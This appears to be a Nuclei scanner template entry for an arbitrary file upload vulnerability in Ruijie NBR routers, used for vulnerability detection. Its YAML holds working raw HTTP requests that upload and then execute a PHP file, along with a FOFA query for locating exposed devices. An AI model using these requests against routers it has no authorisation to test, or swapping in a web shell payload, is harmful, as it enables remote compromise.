ruijie-nbr-fileupload: Ruijie NBR fileupload.php - Arbitrary File Upload
- Template: ruijie-nbr-fileupload
- Name: Ruijie NBR fileupload.php - Arbitrary File Upload
- Description: Ruijie NBR router fileupload.php file has an arbitrary file upload vulnerability. An attacker can upload any file to the server through the vulnerability to obtain server permissions.
- Severity: critical
- Authors: SleepingBag945
- Tags: ruijie, fileupload, intrusive, nbr, vuln
- References: https://github.com/zan8in/afrog/blob/main/v2/pocs/afrog-pocs/vulnerability/ruijie-nbr-fileupload.yaml
- Verified: yes
- Max requests: 2
- Directory: http/vulnerabilities
- Path: http/vulnerabilities/ruijie/ruijie-nbr-fileupload.yaml
- Digest: 4b0a00483046022100ac88086de9353d0888222797d98907ff18afd91fba7b943816dd181b93435174022100ff5f1f2c59fce236d167d5f4b4db1d4d48eaa447b60949b24d7e20c519e47f5c
- Created at: 2023-09-18T12:43:14Z
- Updated at: 2026-04-14T14:09:18Z
- Age in days: 1164
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/vulnerabilities/ruijie/ruijie-nbr-fileupload.yaml
- Checked, none or zero: cves, products
- Not known: impact, remediation
Classification
- Cwe: CWE-434
- Not known: cvss score, cvss vector, epss score, epss percentile, cpe
Metadata
- Fofa-query: app="Ruijie-NBR路由器"
- Max-request: 2
- Verified: yes
Labels
- Name: Ruijie NBR - Arbitrary File Upload
- Impact: Attackers can upload malicious files to execute arbitrary code, potentially leading to full server compromise.
- Remediation: Update to the latest version of Ruijie NBR firmware.
- Vulnerability type: unrestricted_file_upload
- Vulnerability impact: remote_code_execution
- Requirement type: none
- Labels source: securitycontext
- Not known: requirements, from cve
```yaml
id: ruijie-nbr-fileupload
info:
name: Ruijie NBR fileupload.php - Arbitrary File Upload
author: SleepingBag945
severity: critical
description: |
Ruijie NBR router fileupload.php file has an arbitrary file upload vulnerability. An attacker can upload any file to the server through the vulnerability to obtain server permissions.
reference:
classification:
cwe-id: CWE-434
metadata:
verified: true
max-request: 2
fofa-query: app="Ruijie-NBR路由器"
tags: ruijie,fileupload,intrusive,nbr,vuln
variables:
filename: "{{rand_base(6)}}"
string: "ruijie-nbr-fileupload"
http:
- raw:
- |
POST /ddi/server/fileupload.php?uploadDir=upload&name={{filename}}.php HTTP/1.1
Host: {{Hostname}}
Accept: text/plain, */*; q=0.01
Content-Disposition: form-data; name="file"; filename="{{filename}}.php"
Content-Type: image/jpeg
<?php echo md5("{{string}}");unlink(__FILE__);?>
- |
GET /ddi/server/upload/{{filename}}.php HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
part: body_2
words:
- '{{md5(string)}}'
digest: 4b0a00483046022100ac88086de9353d0888222797d98907ff18afd91fba7b943816dd181b93435174022100ff5f1f2c59fce236d167d5f4b4db1d4d48eaa447b60949b24d7e20c519e47f5c:922c64590222798bb761d5b6d8e72950
```